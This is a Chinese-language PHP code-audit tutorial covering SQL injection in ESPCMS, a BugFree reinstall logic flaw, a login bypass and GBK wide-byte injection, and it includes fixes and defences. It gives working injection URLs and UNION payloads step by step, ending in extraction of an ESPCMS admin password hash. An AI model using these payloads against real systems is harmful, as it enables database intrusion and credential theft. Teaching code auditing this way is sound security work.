- [1. 敏感函数回溯参数过程 ](#1-敏感函数回溯参数过程 )
- [1.1. 漏洞浮现过程 ](#11-漏洞浮现过程 )
- [1.2. 技巧 ](#12-技巧 )
- [2. 通读全文代码 ](#2-通读全文代码 )
- [3. BugFree3.0.2重装漏洞案例 ](#3-bugfree302重装漏洞案例 )
- [4. 简单的SQL 注入漏洞 ](#4-简单的sql-注入漏洞 )
- [4.1. 漏洞攻击 ](#41-漏洞攻击 )
- [4.2. 漏洞原因和处理策略 ](#42-漏洞原因和处理策略 )
- [4.3. 漏洞修复 ](#43-漏洞修复 )
- [5. 宽字节注入 ](#5-宽字节注入 )
- [5.1. **宽字节注入原理** ](#51-宽字节注入原理 )
- [5.2. **攻击案例: SQLI-LABS Less-32** ](#52-攻击案例sqli-labs-less-32 )
- [5.3. **防御措施** ](#53-防御措施 )
# 1. 敏感函数回溯参数过程
## 1.1. 漏洞浮现过程
目前使用得最多的一种方法, 因为大多数漏洞是由于函数的使用不当造成的。非函数使用不当的漏洞, 如SQL注入也有一些特征, 比如SELECT、INSERT等再结合FROM和WHERE等关键字, 也可以判断是否是一条SQL语句。通过对字符串的识别分析, 就能判断这个SQL语句里面的参数有没有使用单引号过滤。
- 优点只需要搜索相应敏感关键字,可以快速地挖掘想要的漏洞,具有可定向挖掘和高效、高质量的优点。
- 缺点由于没有通读代码,对程序的整体框架了解不够深入,在挖掘漏洞时定位利用点会花费更多时间,另外对逻辑漏洞挖掘覆盖不到


双击选中的行位置,进入到代码浏览:

右边是函数列表和变量列表。分析一下高亮代码:
```php
$sql = "select * from $db_table where parentid=$parentid";
```
显然, 这里是构造一个SQL的查询字符串。在PHP中, $db_table 这个变量显然是数据库中的表名。由:
````php
$db_table = db_prefix . 'city';
````
这条语句生成。
$parentid 是一个变量, 这里只是用到了字符串格式化工具, 没有用到特殊字符的转义, 因此可能存在SQL注入漏洞。
我们在再看看这行:
````php
$parentid = $this->fun->accept('parentid', 'R');
````
选中 accept 函数,右键定位到函数:

选中第二个,定位到函数的内容:
````php
function accept($k, $var='R', $htmlcode=true, $rehtml=false) {
switch ($var) {
case 'G':
$var = &$_GET;
break;
case 'P':
$var = &$_POST;
break;
case 'C':
$var = &$_COOKIE;
break;
case 'R':
$var = &$_GET;
if (empty($var[$k])) {
$var = &$_POST;
}
break;
}
$putvalue = isset($var[$k]) ? $this->daddslashes($var[$k], 0) : NULL;
return $htmlcode ? ($rehtml ? $this->preg_htmldecode($putvalue) : $this->htmldecode($putvalue)) : $putvalue;
}
````
我们看到case ‘ R’ 这个选择条件, 知道了这其实是中 GET或者POST中去读取一个名字为 $k 的变量( 本例子是parentid) 。并且使用 daddslashes 对这个字符串变量的值进行转义:
```php
function daddslashes($string, $force=0, $strip=FALSE) {
if (!get_magic_quotes_gpc() || $force == 1) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = addslashes($strip ? stripslashes($val) : $val);
}
} else {
$string = addslashes($strip ? stripslashes($string) : $string);
}
}
return $string;
}
```
注意: addslashes函数是对字符串中的 `'` (单引号)、`"`(双引号)、`\`(反斜杠)和 `NULL` ( ASCII 码为 `\x00` ) 添加反斜杠。stripslashes是取消反斜杠。虽然这个函数可以防止部分SQL注入( 注意不是全部, 无法抵御所有 SQL 注入攻击(如多字节编码攻击、二次转义问题)。但是传入参数$force的值是0, 因此没有对传入的字符串进行任何处理! ! !
返回到 citylist.php 这个文件,分析 important 这个类。选中这个类名,右键全局搜索:

定位到 /adminsoft/index.php
```php
$archive = indexget('archive', 'R');
$archive = empty($archive) ? 'adminuser' : $archive;
$action = indexget('action', 'R');
$action = empty($action) ? 'login' : $action;
include admin_ROOT . adminfile . "/control/$archive.php";
$control = new important();
$action = 'on' . $action;
if (method_exists($control, $action)) {
$control->$action();
} else {
exit('错误:系统方法错误!');
}
```
注意这里的 include, 显然是需要包含刚刚我们找的的citylist.php这个文件, 因此在构造 url 的时候,需要输入这个参数;只有在包含了 citylist.php 这个文件后,在可以实例化 citylist.php 中的 important 类。
important 这个类被实例化后赋值给了变量 $control, 然后, 使用了 $control->$action(); 来调用类中的方法 $action。
```php
$action = 'on' . $action;
```
而 citylist.php 中类 important 的方法是 oncitylist, 因此也需要在 url 中构造 action=citylist 这个参数。
构造的url中应该包含:
```
adminsoft/index.php?archive=citylist& action=citylist
```
最后利用:
```sql
$sql = "select * from $db_table where parentid=$parentid";
```
只需要注入 parentid 这个参数就好了, 完整的注入URL是:
```
http://localhost:8081/espcms/adminsoft/index.php?archive=citylist& action=citylist& parentid=-1%20union%20select%201,2,user(),4,5
```
**注意! 因为安装位置和端口的问题, 你的URL可能和上诉的不一样! **
在url编码中 %20 表示空格, 因此得到SQL查询字符串是:
```
select * from espcms_city where parentid=-1 union select 1,2,user(),4,5
```
注入结果:

## 1.2. 技巧
确定表的列数:
```
adminsoft/index.php?archive=citylist& action=citylist& parentid=1 order by 6
```
错误, 表示表的列数小于5
````
adminsoft/index.php?archive=citylist& action=citylist& parentid=1 order by 5
````
有返回数据, 因此表的列数可以确定为5
```
/adminsoft/index.php?archive=citylist& action=citylist& parentid=-1 union select 1,2,3,4,5
```
结果为3, 表示php代码显示的是第三列;
因此 union select 1,2,user(),4,5 可以显示php连接的用户。
```
/adminsoft/index.php?archive=citylist& action=citylist& parentid=-1 union select 1,2,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),4,5
```
显示: espcms_admin_member
````
/adminsoft/index.php?archive=citylist& action=citylist& parentid=-1 union select 1,2, (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x657370636d735f61646d696e5f6d656d626572 limit 1,1) ,4,5
````
显示结果是 username
注意: 0x657370636d735f61646d696e5f6d656d626572 是 espcms_admin_member 的人ASC编码, 可以使用解码工具进行解码;
修改成 改为 limit 2,1 的结果是 password
```
/adminsoft/index.php?archive=citylist& action=citylist& parentid=-1 union select 1,2,(select password from espcms_admin_member),4,5
```
结果是 5f9f58caa9f8ae107bf9881da1209ff9, 这个就是密码, 分析源码可以得知是经过MD5加密的, 因此还需要进一步的破解。
# 2. 通读全文代码
前面提到的根据敏感关键字来回溯传入的参数,是一种逆向追踪的思路。但这种方式并不适合运用在企业中做安全运营时的场景。在企业中做自身产品的代码审计时,我们需要了解整个应用的业务逻辑,才能挖掘到更多更有价值的漏洞。
通读全文代码也有一定的技巧首先我们要看程序的大体代码结构,如主目录有哪些文件,模块目录有哪些文件,插件目录有哪些文件。还要注意文件的大小、创建时间。
根据这些文件的命名就可以大致知道这个程序实现了哪些功能,核心文件是哪些。在看程序目录结构的时候,我们要特别注意以下几个文件:
- 函数集文件, 通常命名中包含functions或者common等关键字。打开index.php或者一些功能性 文件,在头部一般都能找到。
- 配置文件, 通常命名中包括config关键字
- 安全过滤文件, 通常命名中有filter, safe, check等关键字, 这类文件主要是对 参数进行过滤, 比较常见的是针对SQL注入和XSS过滤, 还有文件路径、执行的系统命令的参数, 其他的则相对少见。
- index文件, 程序的入口文件, 所以通常我们只要读一遍index文件就可以大致了解整个程序的架构、运行的流程、包含到的文件, 其中核心的文件又有哪些。而不同目录的index文件也有不同的实现方式, 建议最好先将几个核心目录的 index文件都简单读一遍。
学习代码审计的前期建议不要去读开源框架或者使用开源框架的应用, 先去chinaz、admin5之类的源码下载网站下载一些小应用来读, 并且一定要多找几套程序通读全文代码, 这样我们才能总结经验。等总结了一定的经验, 对PHP也比较熟悉的时候, 再去读--些像Thinkphp、Yii、Zend Framework等开源框架, 才能快速地挖掘高质量的漏洞。
**如果用于研究代码, 可以在WEB服务器上安装php的调试扩展, 使用 VSCode, 或者是 PHPStorm 的调试功能阅读代码更有效率。**
# 3. BugFree3.0.2重装漏洞案例
原书配套的bugfree代码并不能完整的运行, 但是不影响对漏洞的复现。
```php
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : CHECK;
if(is_file("install.lock") & & $action != UPGRADED & & $action != INSTALLED)
{
header("location: ../index.php");
}
$lang = getPreferredLanguage();
$viewDir = dirname(__FILE__) . '/views/' . $lang . '/';
if(!is_dir($viewDir))
{
$viewDir = dirname(__FILE__) . '/views/zh_cn/';
}
// 后面的安装界面代码省略
```
存在逻辑漏洞: 使用了header(), 并没有使用die()或者exit()等函数退出程序流程这个跳转只是HTTP头的跳转, 下方代码依然会继续执行这时候如果使用浏览器请求install/index.php文件则会跳转到首页。因此后面的代码会继续执行, 我们利用工具可以利用这一点。
正常安装后,在 install 目录中存在 install.lock 文件, 这个文件是安装后创建的。根据前面的代码, 当检查到这个文件的时候, 通过返回http头的location标签使得浏览器转向到 /index.php。其实浏览器是接收到了所有安装界面的代码的, 只不过转向后, 用户发觉不了。利用BurpShuit可以重建安装界面, 进而进行更进一步的分析和攻击。
1. 打开Proxy的浏览器:
2. 访问 http://localhost/bugfree/install/index.php
3. 在 HTTP History 中找到访问记录:
4. 鼠标右键选择这个记录,点击 Send to Repeater, 或者 CTL+R
5. 在Repeater中点击2, 发送后, 在3位置可以看到安装界面。
# 4. 简单的SQL 注入漏洞
## 4.1. 漏洞攻击
```php
< ?php
// 用户输入(未过滤)
$username = $_POST['username'];
$password = $_POST['password'];
// 危险操作:直接拼接 SQL 查询
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
echo "登录成功!";
} else {
echo "用户名或密码错误!";
}
?>
```
如何绕过密码验证?
攻击者在 username 输入框中输入:
````
admin' --
````
实际执行的 SQL:
```sql
SELECT * FROM users WHERE username = 'admin' -- ' AND password = ''
```
-- 是 SQL 注释符号,导致后续的 AND password = '' 被忽略。
查询变为:只要 username = 'admin' 成立即可登录,无需密码。
## 4.2. 漏洞原因和处理策略
输入的字符串包含特殊字符, 这些特殊字符与原有的SQL查询字符串一起构成了意外的SQL。输入的数据只能当作字符串使用, 要使用转义。
## 4.3. 漏洞修复
```php
< ?php
// 使用预处理语句防止注入
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
echo "登录成功!";
} else {
echo "用户名或密码错误!";
}
?>
```
预使用PHP自带的SQL执行模板和绑定可以有效防止这种类型的SQL注入。
# 5. 宽字节注入
## 5.1. **宽字节注入原理**
**字符编码差异**
- **窄字节编码**: 如ASCII, 每个字符占1字节( 0-127) 。
- **宽字节编码**: 如GBK, 每个汉字占2字节( 首字节范围0x81-0xFE, 尾字节范围0x40-0xFE) 。
- **转义机制漏洞**: PHP的`addslashes()`函数会在单引号`'`前添加反斜杠`\`( ASCII码0x5C) 进行转义。但在GBK编码中, 若反斜杠`\`( 0x5C) 与特定字符组合, 可能被解析为合法汉字, 导致转义失效。
**攻击条件**
- 数据库字符集为GBK等宽字节编码。
- 应用程序对用户输入进行单引号转义(如`addslashes()`)。
- 攻击者通过构造特殊字符序列,使转义符`\`与后续字符组合成合法汉字。
## 5.2. **攻击案例: SQLI-LABS Less-32**
**场景**: 某登录系统使用GBK编码, 且对用户输入的单引号进行转义。
**漏洞代码**:
```php
$username = addslashes($_GET['username']); // 转义单引号为\'
$sql = "SELECT * FROM users WHERE username = '$username'";
```
**攻击步骤**:
1. ** 正常输入测试**
输入`admin'`,经`addslashes()`转义后变为`admin\'`。
SQL语句: `SELECT * FROM users WHERE username = 'admin\''`
结果:单引号被转义,无法闭合字符串,查询正常。
2. ** 宽字节注入构造**
输入`admin%df'`,其中`%df`是GBK编码中的高字节( 0xDF) 。
- 反斜杠`\`的ASCII码为0x5C, `%df%5c`组合为`0xDF 0x5C`。
- 在GBK中, `0xDF 0x5C`被解析为合法汉字“運”(或其他字符),转义符`\`失效。
- 单引号`'`未被转义,成功闭合字符串。
SQL语句: `SELECT * FROM users WHERE username = 'admin運'--'`
结果:`--`为SQL注释符, 后续条件被忽略, 攻击者可能绕过认证。
3. ** 数据泄露验证**
输入`admin%df' AND 1=1 --+`,若返回正常页面,说明注入成功。
进一步构造UNION查询获取数据:
````php
admin%df' UNION SELECT 1, group_concat(username), group_concat(password) FROM users --+
````
## 5.3. **防御措施**
1. ** 统一字符编码**
- 客户端、服务器、数据库均使用UTF-8编码, 避免编码转换错误。
- MySQL中设置: `SET NAMES 'utf8mb4'`。
- PHP中设置响应头: `header('Content-Type: text/html; charset=utf-8')`。
2. ** 预处理语句(参数化查询)**
- 使用PDO或MySQLi的预处理功能, 避免直接拼接用户输入。
```php
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
```
3. ** 多字节安全过滤**
- 使用PHP的`mbstring`扩展处理字符串,如`mb_ereg_replace()`。
- 示例:替换单引号为转义字符
```php
$username = mb_ereg_replace("(['\"])", "\\\\$1", $username);
```
4. ** 输入长度限制**
- 对用户输入设置合理长度,减少注入可能性。